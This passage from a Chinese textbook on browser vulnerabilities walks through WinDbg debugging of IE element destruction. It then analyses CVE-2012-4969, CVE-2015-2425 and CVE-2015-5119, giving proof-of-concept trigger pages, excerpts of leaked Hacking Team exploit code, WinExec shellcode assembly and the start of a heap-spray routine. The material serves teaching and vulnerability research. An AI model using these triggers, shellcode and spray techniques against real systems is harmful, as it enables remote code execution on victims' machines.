最后，让我们跟踪元素释放的过程。元素释放时需要销毁类，因此会触发类的析构函数。以CParaElement（HTMLParaElement）为例，按照C++编程时析构函数的写法，IE调用的应当是CParaElement：：~CParaElement（）（Chrome是HTMLParaElement：：~HTMLParaElement（））。

但是在WinDbg的符号显示中我们可以看到，这个函数是以“`scalar deleteing destructor’”的名称存在的。这里有一个规律，在编译后的程序中，“scalar deleting destructor”是某个对象的析构函数代理，而“vector deleting destructor”是某个对象数组的析构函数代理。以C++语言描述则前者是对应delete，后者对应delete[]操作。

[image: ]
图10-12：scalar deleting destructor



因此我们需要断在scalar deleting destructor上以跟踪类的释放。不过，这里不能直接使用bp“MSHTML！CParaElement：：`scalar deleting destructor'”，而是应当使用bm语句[image: bm为设置符号断点。符号内有记录，但是函数类型为内联函数的情况应使用bm而不是bp。]

 ，而且应当在函数外面套上双引号，即：bm"MSHTML！CParaElement：：`scalar deleting destructor'"，执行后使用bl可以查看到断点设置是否正确。


测试代码：

<p></p>
<script>
document.all[0].innerHTML = "";
</script>


断下后调用栈如下，仔细一看，第一行并不是我们在bm后输入的CParaElement，而是我们没有见过的CBlockElement。是我们断错了吗？并没有。




0:010> k
Fr Headings
00 MSHTML!CBlockElement::`vector deleting destructor'
01 MSHTML!CBase::SubRelease+0x45
02 MSHTML!CBase::PrivateRelease+0xe0
03 MSHTML!CElement::PrivateExitTree+0x60
04 MSHTML!CSpliceTreeEngine::RemoveSplice+0x13d1
05 MSHTML!CMarkup::SpliceTreeInternal+0xa4
06 MSHTML!CDoc::CutCopyMove+0x13d9
07 MSHTML!RemoveWithBreakOnEmpty+0x99
08 MSHTML!InjectHtmlStream+0x24a
09 MSHTML!CElement::InjectInternal+0x9fe
0a MSHTML!CElement::InjectTextOrHTML+0x1a2
0b MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_innerHTML+0x6f
0c jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x16e
0d jscript9!<lambda_73b9149c3f1de98aaab9368b6ff2ae9d>::operator()+0x9d
0e jscript9!Js::JavascriptOperators::CallSetter+0x76
0f jscript9!Js::JavascriptOperators::SetProperty_Internal<0>+0x2aa
10 jscript9!Js::JavascriptOperators::OP_SetProperty+0x40


IE在这里调用的是CBlockElement的析构函数，这是因为在IE中，类似CParaElement的“块元素”
 [image: 例如ADDRESS、BLOCKQUOTE、PRE等元素。]

 是继承CBlockElement而来的，CBlockElement继承的是CElement。在销毁类的时候，CParaElement、CBlockElement、CElement的析构函数会被依次执行。而CParaElement的析构函数为空，因此在编译时被优化，销毁时最终调用的是CBlockElement的析构函数。通过阅读MSHTML！CBlockElement：：`vector deleting destructor'的代码，我们可以发现，它也只是简单地调用了MSHTML！CElement：：~CElement。


0:010> uf .
MSHTML!CBlockElement::`vector deleting destructor':
60122630 8bff             mov    edi,edi
60122632 55               push    ebp
60122633 8bec              mov      ebp,esp
60122635 56                  push     esi
60122636 8bf1               mov      esi,ecx
60122638 c7066416d45f     mov     dword ptr [esi],offset MSHTML!CBlockElement::`vftable' (5fd41664)
6012263e e8f4a5e3ff       call    MSHTML!CElement::~CElement (5ff5cc37)
60122643 f6450801            test    byte ptr [ebp+8],1
60122647 740c             je     MSHTML!CBlockElement::`vector deleting destructor'+0x25 (60122655)

MSHTML!CBlockElement::`vector deleting destructor'+0x19:
60122649 8b0de0d2dd60    mov    ecx,dword ptr [MSHTML!g_hIsolatedHeap (60ddd2e0)]
6012264f 56                  push    esi
60122650 e8201ec3ff     call    MSHTML!MemoryProtection::CMemoryProtector::ProtectedFree (5fd54475)

MSHTML!CBlockElement::`vector deleting destructor'+0x25:
60122655 8bc6                mov    eax,esi
60122657 5e                  pop    esi
60122658 5d                  pop    ebp
60122659 c20400              ret    4


	
bm为设置符号断点。符号内有记录，但是函数类型为内联函数的情况应使用bm而不是bp。返回




	
例如ADDRESS、BLOCKQUOTE、PRE等元素。返回







10.6　本章小结

本章中，我们着重介绍了网页渲染相关的知识。我们介绍了IE和Chrome在渲染网页时的操作，并且从解析标签的方式入手，介绍了为什么某些XSS绕过代码中可以使用一些特殊符号插入标签中但是却不影响浏览器的解析。

我们也同样介绍了浏览器在创建不同HTML标签时的动作，并提出了跟踪其创建、销毁的方法。在实践过程中，我们使用了WinDbg来跟踪元素的创建、插入和销毁，希望简单的例子可以起到抛砖引玉的作用。


11　漏洞的分析

本章中我们挑选了三个典型的浏览器漏洞，分别是早期的IE8的一个释放后使用漏洞以及在Hacking Team被黑之后泄漏的两个漏洞，它们分属于JScript引擎和Flash插件。让我们以分析漏洞造成的浏览器异常进一步熟悉浏览器漏洞触发的方式以及漏洞原因的追踪的方法。


11.1　分析IE漏洞CVE-2012-4969

CVE-2012-4969名为“Microsoft Internet Explorer CMshtmlEd：：Exec Use Aftre Free Vunlerability”，是一个典型的IE浏览器的释放后使用漏洞。该漏洞影响IE6~8，因为该漏洞同时影响了XP和Win7两个用户量巨大的系统，所以曾被攻击者广泛用于网页挂马。但是该漏洞形成的原因单一，分析较为简单，让我们以这个漏洞为引子开始浏览器漏洞分析。以下是该漏洞触发的最简PoC。

请将以下内容保存成trigger.htm：

<HTML>
<BODY>
<script>
    var arr = new Array();
    arr[0] = window.document.createElement("img");
    arr[0]["src"] = "1";
</script>
<iframe src="poc.htm"></iframe>
</body>
</HTML>


请将以下内容保存成poc.htm：




<HTML>
<script>
    function SelectAll() {
        document.execCommand("selectAll");
    };
    function Trigger() {
        document.write("1");
        parent.arr[0].src = 
    "AAAA\u0c08\u0c0cAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
    }
</script>
<body onload='SelectAll();' onselect='Trigger()'>
<div contenteditable='true'>a</div>
</body>
</HTML>


该漏洞由这两个文件共同作用后触发，所以请将两个文件保存到同一目录。




11.1.1　崩溃分析

在Windows XP SP3+IE8的环境下打开trigger.htm，可以发现IE产生了一个崩溃。

[image: ]
图11-1：IE8的崩溃



挂上WinDbg查看崩溃时的详细信息，可以看到崩溃时edi寄存器和PoC中parent.arr[0].src的部分字节是相同的，这证明edi是可控的，观察周围代码，在崩溃代码附近就会使用edi寄存器的值调用另一个函数，因此这是一个易于利用的崩溃。

0:008> g
(d34.d5c): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=0000001f ecx=001f0b40 edx=0000000d esi=00000000 edi=0c0c0c08
eip=637d464e esp=020dbe80 ebp=020dbe8c iopl=0             nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000       efl=00000206
mshtml!CMshtmlEd::Exec+0x134:
637d464e 8b07            mov     eax,dword ptr [edi]  ds:0023:0c0c0c08=????????


分析UAF时，如果能够确定代码是何时被释放并且再次被利用将会对后续分析起到极大作用。观察函数，产生错误的edi仅仅在函数最开始处被修改，而ebp+8代表edi的值事实上来源于mshtml！CMshtmlEd：：Exec的第一个参数。




0:008> uf mshtml!CMshtmlEd::Exec
mshtml!CMshtmlEd::Exec:
637d45bc 8bff        mov         edi,edi
637d45be 55            push        ebp
637d45bf 8bec          mov         ebp,esp
637d45c1 53            push        ebx
637d45c2 56            push        esi
637d45c3 57              push        edi
637d45c4 8b7d08         mov        edi,dword ptr [ebp+8]

637d45c7 8b4708       mov         eax,dword ptr [edi+8]












637d45ca 8b08           mov         ecx,dword ptr [eax]
……






mshtml!CMshtmlEd::Exec+0x131:

637d464b 8b7f08       mov         edi,dword ptr [edi+8]













637d464e 8b07         mov         eax,dword ptr [edi]












637d4650 57             push        edi
637d4651 ff5008        call        dword ptr [eax+8]
637d4654 8bc6          mov         eax,esi


第一个参数是什么？让我们先查看函数定义。在IDA或其他支持符号查看的工具中可以了解到mshtml！CMshtmlEd：：Exec的函数定义是__stdcall CMshtmlEd：：Exec（GUID*，DWORD，DWORD，VARIANTARG*，VARIANTARG*），函数定义为stdcall，传入的第一个参数应当为被编译器隐式传递的this，据此可以推断出edi代表的应当是CMshtmlEd的一个实例。




阅读正常的CMshtmlEd：：Exec代码的流程，可以知道CMshtmlEd：：Exec函数先从this中取得一个CHTMLEditor成员，并获取其关联的CCommandTable，然后根据CMshtmlEd：：Exec的第三个参数（this算作第一个参数）从CCommandTable中获取一个CCommand对象的实例。并调用CCommand实例的某个成员函数。

因此不难看出，edi+8应该就是this（CMshtmlEd）的一个成员变量（CHTMLEditor），0x637d464e处的语句取出这个成员变量后，由0x637d4651处的语句调用CHTMLEditor的某个成员函数获取与其关联的CComandTable。以上便是这段汇编代码所代表的含义，接下来让我们看看产生异常的参数是从哪一步产生的。

11.1.2　追根溯源

发生异常的参数是函数的this指针，让我们使用gflags工具打开IE的PageHeap。在WinDbg工具包中可以找到gflags.exe，在命令行下输入：

gflags /i iexplore.exe +hpa


这样就可以打开IE的Full PageHeap，这将有利于我们追踪堆内存的分配过程，以及堆的相关问题。cmd的输出类似于：




C:\Program Files\Debugging Tools for Windows (x86)>gflags.exe /i iexplore.exe +hpa
Current Registry Settings for iexplore.exe executable are: 02000000
     hpa - Enable page heap


重启IE，挂上调试器然后再次触发崩溃，执行！heap-p-a edi语句可以看到发生崩溃时edi所在堆内存的栈回溯。




0:017> g
ModLoad: 63380000 63434000   C:\WINDOWS\system32\jscript.dll
(478.ea0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0000001f ecx=065caf30 edx=0000000d esi=00000000 edi=0522af78
eip=637d464b esp=038fbe80 ebp=038fbe8c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
mshtml!CMshtmlEd::Exec+0x131:
637d464b 8b7f08          mov     edi,dword ptr [edi+8] ds:0023:0522af80=????????
0:008> !heap -p -a edi
     address 0522af78 found in
      DPH_HEAP_ROOT @ 141000
     in free-ed allocation (  DPH HEAP BLOCK:         VirtAddr         VirtSize)
                                           4dbf638:          522a000             2000
     7c947553 ntdll!RtlFreeHeap+0x000000f9
     7c80b859 kernel32!GetFileAttributesW+0x0000008f
     1a41e865 urlmon!PathFileExistsAndAttributesW+0x00000044
     1a41e637 urlmon!CSecurityManager::_MapPathToZone+0x000000b1
     1a41e59c urlmon!CSecurityManager::_MapComponentsToZone+0x000001ac
     1a41307d urlmon!CSecurityManager::_MapUrlToZoneDirect+0x000000a0
     1a412f7a urlmon!CSecurityManager::MapUrlToZoneEx2Internal+0x00000120
     1a412b3f urlmon!CSecurityManager::GetZoneFromUri+0x0000009a
     1a4140ee urlmon!CSecurityManager::MapUrlToZoneEx2+0x000000f2
     63675185 mshtml!CMarkup::CheckForLMZLLoad+0x00000092
     63674ed8 mshtml!CImgHelper::SetImgCtx+0x00000086
     6367535a mshtml!CImgHelper::FetchAndSetImgCtx+0x00000075
     636752db mshtml!CImgHelper::SetImgSrc+0x00000023
     63686e6d mshtml!CImgElement::OnPropertyChange+0x00000078
     6366915a mshtml!BASICPROPPARAMS::SetStringProperty+0x0000021b
     63680b58 mshtml!BASICPROPPARAMS::SetUrlProperty+0x0000002f
0:008> !address edi
Failed to map Heaps (error 80004005)
Usage:                         PageHeap
Allocation Base:         051b0000
Base Address:               05229000
End Address:                0522c000
Region Size:                00003000
Type:                       00020000    MEM_PRIVATE
State:                      00001000    MEM_COMMIT
Protect:                    00000001    PAGE_NOACCESS
More info:                  !heap -p 0x141000
More info:                  !heap -p -a 0x522af78



以上信息表明edi所在的堆内存已经被释放了，而且由于其所在堆的内存地址是不可存取的，因此在IE再次访问该地址时产生了崩溃。以上便是这个漏洞的触发根源所在。另外，该漏洞最高可以在Win 7或XP的IE8触发，因此实施攻击可能需要绕过DEP的保护。绕过DEP已经是一个成熟的技术，这在实际实施起来还是相对容易的，第12章我们将介绍利用方法。





11.2　分析JScript9漏洞CVE-2015-2425

CVE-2015-2425是意大利黑客公司Hacking Team所泄露[image: https://wikileaks.org/hackingteam/emails/emailid/525065。]

 出来的一个用于攻击IE11的漏洞。该漏洞利用代码精简后如下：


<!doctype html>
<html>
    <head>
        <script>
            function testcase()
            {
                var observerObject = new MutationObserver(function(){});

                document.write("1");

                node1 = document.createElement('DIV');
                node2 = document.createElement('DIV');
                node3 = document.createElement('DIV');
                node4 = document.createElement("script");
                node4.innerText='1;';

                var observerObject = new MutationObserver(function(){});
                observerObject.observe(node1, { childList: true, subtree: true}); 

                node1.appendChild(node2); 
                document.body.appendChild(node4);
                node2.parentNode.insertBefore(node3, node2);

            }
        </script>
    </head>
    <body onload='testcase();'></body>
</html>


这段代码执行后，IE会崩溃在一个无法访问的地址上。崩溃和崩溃栈如下（崩溃栈有删减）。




0:022> g
(2088.2028): Access violation - code c0000005 (!!! second chance !!!)
eax=03a90000 ebx=03739d40 ecx=5481cb0d edx=031da484 esi=00000003 edi=045dc68c
eip=03a90000 esp=045dc4b4 ebp=045dc500 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
03a90000 ??              ???
0:008> kvn
 # ChildEBP RetAddr  Args to Child              
WARNING: Frame IP not in any known module. Following frames may be wrong.
00 045dc4b0 5481866d 03739d40 00000003 03bcd150 0x3a90000
01 045dc500 54818da5 00000003 045dc68c f1644345 jscript9!Js::JavascriptFunction::CallFunction <1>+0x91 (FPO: [Non-Fpo])
02 045dc574 54818cdf 031caa18 00000003 045dc68c jscript9!Js::JavascriptFunction::CallRootFunction +0xc1 (FPO: [Non-Fpo])
03 045dc5bc 54818c5f 045dc5e4 00000003 045dc68c jscript9!ScriptSite::CallRootFunction+0x42 (FPO: [Non-Fpo])
04 045dc5ec 5481d490 03739d40 045dc614 00000000 jscript9!ScriptSite::Execute+0x61 (FPO: [Non-Fpo])
05 045dc648 5481d3cc 00000003 045dc68c 00000000 jscript9!ScriptEngineBase::ExecuteInternal<0> +0xbb (FPO: [Non-Fpo])
06 045dc660 614acb28 0321eb38 03739d40 00000003 jscript9!ScriptEngineBase::Execute+0x1c (FPO: [Non-Fpo])
07 045dc6a0 614aca36 005c32f0 00000000 00000000 MSHTML!CMutationObserver::
PerformMicrotaskCheckpoint+0x97 (FPO: [Non-Fpo])



由于崩溃在一个无法识别的地址上，所以还得返回上一层看一下调用过程。在WinDbg中可以使用.frame/c 1切换到崩溃栈的第1层。然后使用ub.或uf.命令观察崩溃之前的代码。




0:008> .frame /c 1
01 045dc500 54818da5 jscript9!Js::JavascriptFunction::CallFunction<1>+0x91
eax=03a90000 ebx=03739d40 ecx=5481cb0d edx=031da484 esi=00000003 edi=045dc68c
eip=5481866d esp=045dc4b8 ebp=045dc500 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
jscript9!Js::JavascriptFunction::CallFunction<1>+0x91:
5481866d 8b65e0            mov    esp,dword ptr [ebp-20h] ss:002b:045dc4e0=045dc4d0
0:008> ub . L30
jscript9!Js::JavascriptFunction::CallFunction<1>:
548185df 8bff                mov    edi,edi
548185e1 55                  push    ebp,esp
548185e4 83ec24             sub      esp,24h
548185e7 53                  push    ebx
548185e8 8bd9                mov      ebx,ecx
548185ea 8955f4              mov      dword ptr [ebp-0Ch],edx
548185ed 56                  push     esi
548185ee 8b7508              mov      esi,dword ptr [ebp+8]
548185f1 8975e8              mov      dword ptr [ebp-18h],esi
548185f4 81e6ffffff00      and      esi,0FFFFFFh
548185fa 8b4304              mov      eax,dword ptr [ebx+4]
548185fd 8bd6                mov     edx,esi
548185ff 57                  push    edi
54818600 c1e202              shl     edx,2
54818603 52                  push    edx
54818604 8b4004              mov     eax,dword ptr [eax+4]
54818607 895de4            mov    dword ptr [ebp-1Ch],ebx
5481860a 8955f0            mov     dword ptr [ebp-10h],edx
5481860d 8b801c020000     mov     eax,dword ptr [eax+21Ch]
54818613 8945f8              mov      dword ptr [ebp-8],eax
54818616 8bb850020000     mov      edi,dword ptr [eax+250h]
5481861c 8bcf                mov     ecx,edi
5481861e e8484cffff        call     jscript9!ThreadContext::IsStackAvailable (5480d26b)
54818623 84c0                test    al,al
54818625 0f843e662300    je    jscript9!Js::JavascriptFunction::CallFunction<1>+0x23668a (54a4ec69)
5481862b 8965e0              mov     dword ptr [ebp-20h],esp
5481862e 8b45f0              ov      eax,dword ptr [ebp-10h]
54818631 3d00100000          cmp     eax,1000h
54818636 0f8d3df61900    jge    jscript9!Js::JavascriptFunction::CallFunction<1>+0x5d (549b7c79)
5481863c 2be0             sub    esp,eax
5481863e 83e4f8            and    esp,0FFFFFFF8h
54818641 8965ec            mov    dword ptr [ebp-14h],esp
54818644 8b55ec           mov    edx,dword ptr [ebp-14h]
54818647 33c9                xor      ecx,ecx
54818649 8b7d0c            mov     edi,dword ptr [ebp+0Ch]
5481864c 85f6             test    esi,esi
5481864e 740b                je    jscript9!Js::JavascriptFunction::CallFunction<1>+0x7f (5481865b)
54818650 8b048f           mov    eax,dword ptr [edi+ecx*4]
54818653 89048a              mov    dword ptr [edx+ecx*4],eax
54818656 41                  inc    ecx
54818657 3bce                cmp    ecx,esi
54818659 72f5                jb    jscript9!Js::JavascriptFunction::CallFunction<1>+0x74 (54818650)
5481865b 8b4df4            mov    ecx,dword ptr [ebp-0Ch]
5481865e ff150c64be54    call    dword ptr [jscript9!__guard_check_icall_fptr (54be640c)]
54818664 ff75e8              push    dword ptr [ebp-18h]
54818667 ff75e4              push    dword ptr [ebp-1Ch]
5481866a ff55f4              call    dword ptr [ebp-0Ch]



可以发现崩溃与dword ptr[ebp-0Ch]这个位置有关。观察代码可知在函数最开始，下列语句修改了ebp-0c处的值。




548185ea 8955f4        mov    dword ptr [ebp-0Ch],edx


该语句将edx的值保存到了ebp-0c处，ebp-0c应该是调用时传递的参数，因此，再让我们看一下函数定义。jscript9！Js：：JavascriptFunction：：CallFunction<1>的定义是：




int __fastcall





 Js::JavascriptFunction::CallFunction<1> (Js::RecyclableObject *, void * (*)(Js::RecyclableObject *,Js::CallInfo,...), Js::Arguments)



由于该函数的定义是fastcall，因此函数的第一个和第二个参数（小于等于4字节的参数）将通过ecx和edx传递，其他参数通过从右向左的顺序压栈。




因此，这里ebp-0c对应的应该是这个函数中的“void*（*）（Js：：RecyclableObject*，Js：：CallInfo，...）”参数，是一个函数指针。

记录下上述内容，这一层的分析到此结束，使用.cxr恢复Scope，然后.frame/c 2进入第2层调用栈[image: 你也可以直接.frame /c 2，这里.cxr 只是为了便于理解第2 层是相对于谁的。]

 。


使用ub.或者uf.查看代码，可以看到离调用处最近的一次传递是来源于esi+4处传递给eax，再由eax+0c的成员传递给edx。

54818d9a 8b4604           mov    eax,dword ptr [esi+4]
54818d9d 8b500c           mov    edx,dword ptr [eax+0Ch]
54818da0 e83af8ffff       call    jscript9!Js::JavascriptFunction::CallFunction<1> (548185df)



让我们看一下esi是从哪儿传入的。




jscript9!Js::JavascriptFunction::CallRootFunction:
54818cf6 6a48            push    48h
54818cf8 b8bcbe9b54    mov    eax,offset jscript9!DListBase<CustomHeap::Page>:: DListBase< CustomHeap:: Page>+0x1f60 (549bbebc)
54818cfd e8f806ffff        call    jscript9!_SEH_epilog4_GS+0x14 (548093fa)
54818d02 8bf1                mov    esi,ecx







void* __thiscall Js::JavascriptFunction::CallRootFunction(Js::Arguments,Js::ScriptContext *)


这个函数是一个thiscall，thiscall参数从右向左入栈，如果参数个数确定，this指针通过ecx传递给被调用者；如果参数个数不确定，this指针在所有参数压栈后被压入堆栈。




因此ecx存储的是this对象。因此可以知道this指向的某个对象在使用时不存在了，基本可以确定这是一个Use After Free类型的漏洞。

11.2.1　跟踪漏洞

让我们关注两个缓存的分配和释放过程。EmitBufferManager：：AllocateBuffer（uint，uchar**，bool，ushort，ushort）这个函数用于分配缓存，使用IDA查看代码，可以得知实际分配内存的地方是这里：

v8 = EmitBufferManager::NewAllocation(v6, a2, (int)this, (int)this);


继续跟踪，进入EmitBufferManager：：NewAllocation（uint，ushort，ushort）中查看。可以发现最后实际上由CustomHeap：：Heap：：Alloc（uint，ushort，ushort）函数完成自定义堆上内存分配，该函数返回值可以在EmitBufferManager：：NewAllocation（uint，ushort，ushort）+0x1d处发现，如图11-2所示。




[image: ]
图11-2：IDA中显示函数的代码



因此让我们首先在WinDbg中设置如下断点：

bp jscript9!EmitBufferManager::NewAllocation+0x1D ".printf \"allocation %x\\\n\", eax;g;"


接下来，让我们查看释放过程，释放过程的函数EmitBufferManager：：FreeAllocations（bool）实际上调用CustomHeap：：Heap：：Decommit来完成，具体位置位于：




jscript9!EmitBufferManager::FreeAllocations+0x60:
548d4453 e80a000000    call jscript9!CustomHeap::Heap::Decommit (548d4462)


查看附近代码，可知调用时ecx+4处指向的指针的对象偏移+0x10是一个函数指针。让我们继续在WinDbg中设置断点并输出：




bp jscript9!CustomHeap::Heap::Decommit".printf \"\nfree %x\n\", poi(poi(ecx+4)+0x10);g;"


设置完成后按下g开始执行代码，一段时间后可以发现被Free掉的内存又再一次被使用，导致Use After Free。




[image: ]
图11-3：释放后使用




	
https://wikileaks.org/hackingteam/emails/emailid/525065。返回




	
你也可以直接.frame /c 2，这里.cxr 只是为了便于理解第2 层是相对于谁的。返回







11.3　Hacking Team的Flash漏洞CVE-2015-5119分析

Hacking Team的漏洞泄漏时暴露出许多0Day漏洞。由于浏览器中的内存保护逐渐强化，从Flash下手对浏览器进行攻击，是黑客攻击的常见做法。

11.3.1　静态阅读：成因分析

第5章中我们介绍了SWF文件的反编译方法，CVE-2015-5119在反编译成AS之后的源代码可以在此[image: https://github.com/rapid7/metasploit-framework/blob/2cdaace42f8f121e97f36f37fe1b3835dbeaef0a/extern al/source/exploits/hacking_team/MyClass.as。]

 看到。在static function TryExpl（e：Exploit，platform：String，os：String，payload：ByteArray）函数中，代码试图分配两页连续的内存空间。为了防止之后喷射的代码被垃圾回收机制回收，这里攻击者采用将数组直接放到一个静态变量_gc中以防止回收。


var alen:int = 90;
var a = new Array(alen);
if (_gc == null) _gc = new Array();
_gc.push(a); // protect from GC // for RnD
                
// 试图分配连续的内存：





 [ ByteArray ][ MyClass2 ]
for(var i:int; i < alen; i+=3){
    a[i] = new MyClass2(i);
                    
    a[i+1] = new ByteArray();
    a[i+1].length = 0xfa0;
                    
    a[i+2] = new MyClass2(i+2);
}


然后通过将MyClass赋值给类型不同的_ba（它的类型是ByteArray），触发MyClass隐式调用valueOf。




var v:Vector.<uint>;
for(i=alen-5; i >= 0; i-=3)
{
    _ba = a[i];
    // 此句隐式调用了





 valueOf() ，重载的





valueOf触发了





UAF 
    _ba[3] = new MyClass();

    Logger.log("_ba[3] = " + _ba[3]);
    if (_ba[3] != 0) throw new Error("can't cause UaF");
    
    // 在此查找被损坏的





Vector
    for(var j:int=0; j < _va.length; j++){
v = _va[j];
if (v.length != 0x3f0) {
Logger.log("v.length = 0x" + v.length.toString(16));
var exploiter:Exploiter = new Exploiter(e, platform, os, payload, v, 0x3f0)
Logger.log("v.length = 0x" + v.length.toString(16));
return true
}
    }
}


让我们再看看它重载的valueOf，




prototype.valueOf = function ()
{
    Logger.log("MyClass.valueOf()");
    
   _va = new Array(5);
    gc.push(_va); // protect from GC // for RnD
    
    // 重新分配





 _ba 的长度，这会让它释放出之前申请的内存






    ba.length = 0x1100;
    
    // 重新占用上一步释放的内存






    for(var i:int; i < _va.length; i++)
      _va[i] = new Vector.<uint>(0x3f0);
    
    // 返回一个字节用于覆盖





ByteArray的大小






    return 0x40;
}



这里返回的0x40会被当作valueOf（）转换后的结果写入_ba[3]中，但是不要忘记了旧的_ba在valueOf中_ba.length=0x1100；一句执行时已经被释放，而且随后还被_va给占据了。因此这里返回的0x40实际上写到了占着旧_ba的位置的_va中。




在Flash中Vector的前4字节是对象的长度。因此原来0x000003f0（f0030000）长度的Vector的长度实际上被覆盖成了0x400003f0（f0030040）。这样，攻击者就有一个可以访问几乎全内存的Vector了。实际情况是不是这样的呢？让我们继续分析。

11.3.2　Vector的覆盖过程

Flash AS编译后的字节码与JScript9编译出的字节码有些类似。在Windows 7 x86+Flash Player 16.0+IE 10中调试如下，在泄露出的Swf的例子中，跟踪先找到valueOf中_ba.length=0x1100附近的语句，反汇编代码为：

[image: ]
图11-4：赋值语句周围的代码



阅读可知代码正在获取原Buffer，将原Buffer的内容复制给新Buffer，并且修改新Buffer的长度为0x1100。需要注意的是Flash中常量也是经过xor简单加密的，所以需要手动运算一下，例如0x0741b3dc-0x0741b3e1两句实际上相当于mov eax，0x1100。

当valueOf返回0x40时，写入的是原来的Buffer的地址，而在循环new Vector.（0x3f0）；的时候，这个位置已经被vector占据了，因此写入的是vector的开头length部分，正常的length f0030000，被写完之后变为了f0030040。

[image: ]


在AS中，内存中每个对象都维护有一个结构信息，假设攻击者覆盖了元素的前4个字节，便覆盖了这个Vector的元素结构中大小的部分，如果攻击者使用了足够大的数字覆盖了前几个字节，那么随后攻击者通过这个Vector便可以访问整个内存空间。可见该Vector的length已经变为了0x4000030f。

[image: ]
图11-5：Length变成0x400003f0的Vector




	
https://github.com/rapid7/metasploit-framework/blob/2cdaace42f8f121e97f36f37fe1b3835dbeaef0a/extern al/source/exploits/hacking_team/MyClass.as。返回







11.4　本章小结

本章中，我们以CVE-2012-4969、CVE-2015-2405、CVE-2015-5119三个漏洞的分析为例，逐一介绍了IE、JS、Flash中漏洞的分析方式。

我们通过阅读反汇编代码或反编译后的代码了解到漏洞的成因以及利用方式。并通过一定的调试手段对发生崩溃或产生异常的进程进行调试并得到结论。


12　漏洞的利用

在挖掘到浏览器漏洞之后，如何利用也是一个重要的问题。本章中我们将学习从Shellcode入手，完成浏览器漏洞的利用。


12.1　ShellCode的编写

第8章中，我们介绍过通用Shellcode的制作方式，最后我们留下了一个Shellcode的“模板”。现在让我们进入实战阶段，我们将使用8.3.1节最后这段通用的Shellcode，制作出一个弹出计算器（CALC）的代码。

以C++代码描述，我们将代码简化为调用WinExec（"CALC"，SW_SHOWNORMAL）；，winuser.h头文件中定义的SW_SHOWNORMAL的值是1。

首先修改判断部分，我们需要判断的函数是[image: ]
 ，其4个字节ASCII码分别为0x57、0x69、0x6e、0x45。将其填入Shellcode模板中，代码如下：

[image: ]



接下来，让我们简单理一下思路。Shellcode获取到的函数地址存在了edi中，也就是说如果获取成功，edi存储的将是WinExec的地址。因此我们只需要调用edi（"CALC"，1）；即可。为了构造WinExec的参数，我们需要使用额外的一到两个寄存器。




查看“模板”的汇编代码，可以注意到“模板”并没有使用ebx/ecx寄存器，因此让我们用ebx/ecx来构造函数所需参数。

首先，考虑第一个参数字符串“CALC”。WinExec的第一个参数类型为LPCSTR，这是一个字符串指针。在汇编代码中如何找到字符的指针呢？很简单——使用栈顶地址（esp）。“CALC\0”对应的ASCII为0x43、0x41、0x4c、0x43、0x00。为了让我们的Shellcode不包含\0，我们需要做一个小的变通——使用运算符号来操作。

xor ecx，ecx、push ecx两句可以向栈上push一个0x00000000的DWORD，然后再使用mov ecx，0x434c4143、push ecx两句可以再向栈上push一个值为0x434c4143的DWORD。这样栈上就会有8个字节连起来：0x43、0x41、0x4c、0x43、0x00、0x00、0x00、0x00。然后，我们将栈顶地址（esp）保存到ecx中备用。这样，ecx就是"CALC\0"这个字符串的指针了。

[image: ]
图12-1：栈上数据的样子



代码如下：

XOR ECX, ECX
PUSH ECX
MOV ECX, 0x434C4143
PUSH ECX
MOV ECX, ESP


让我们再考虑第二个参数“1”。要得到数字1方法很多，其中一种使用xor ebx，ebx、inc ebx、push ebx的组合可以让数字1压入栈中。




XOR EBX, EBX
INC EBX
PUSH EBX


然后，将这两段代码组合。在调用函数时，参数的传递是从最后一个开始，依次往前倒着压入栈中的。所以应当先压入“1”，再压入字符串“CALC\0”，最后调用WinExec。这段代码组合起来便是：




XOR ECX, ECX
PUSH ECX
MOV ECX, 0x434C4143
PUSH ECX
MOV ECX, ESP

XOR EBX, EBX
INC EBX
PUSH EBX ; push 1

PUSH ECX ; push pointer to "CALC\0"

CALL EDI


可以通过在C++程序中使用_asm块写入上述代码再生成EXE来取出它们对应的机器码。还有一个简单的方法是使用工具C32Asm，在其工具—汇编代码查询中可以直接输入代码以产生机器码。单击复制Hex即可复制出对应的Hex值。




[image: ]
图12-2：C32ASM的窗口



复制后，将数据连接到之前未完的Shellcode之后即可。

[image: ]



然后，将这段代码置于一个载体EXE中进行测试。载体EXE的代码可见8.3节。执行后，如果成功地弹出了计算器，则代表我们的代码执行成功了。在Process Explorer中可以看到命令行为“CALC”的计算器程序作为载体EXE的子进程成功启动。




[image: ]
图12-3：Shellcode启动了calc




12.2　CVE-2012-4969的利用

上一章我们介绍了Microsoft Internet Explorer“CMshtmlEd：：Exec”释放后使用漏洞（CVE-2012-4969）的触发，但是我们留下了漏洞利用的问题。该漏洞的最简PoC会触发一个读取地址0x0c0c0c0d的存取违例，这是因为0x0c0c0c0d这块地址现在并没有任何数据导致的。所以首先，我们需要占据0x0c0c0c0d这个地址。占据的方式很简单，只需不停地在JavaScript代码中申请获取新的堆空间即可。

堆喷射技术最早由Berend-Jan Wever（Skylined）在2004年使用，当时是为了利用IE中iframe的一个溢出漏洞[image: https://www.exploit-db.com/exploits/612/。]

 。它使用JavaScript创建多个String对象并在每个String中都填入大量的NOP Slide，并在NOP Slide之后附上一小段Shellcode。在连续占据一定范围的内存之后，程序一旦返回便很可能跳到NOP Sled中，在走过一片NOP指令之后，Shellcode得以执行。在《Javascript堆风水技术》中有提到过这个代码，堆喷射的代码类似于：


var nop = unescape("%u9090%u9090");

// 生成





1MB大小的





NOP+Shellcode的代码





:
//
// malloc header   string length   NOP slide   shellcode   NULL terminator
// 32 bytes         4 bytes          x bytes      y bytes     2 bytes

while (nop.length <= 0x100000/2) nop += nop;

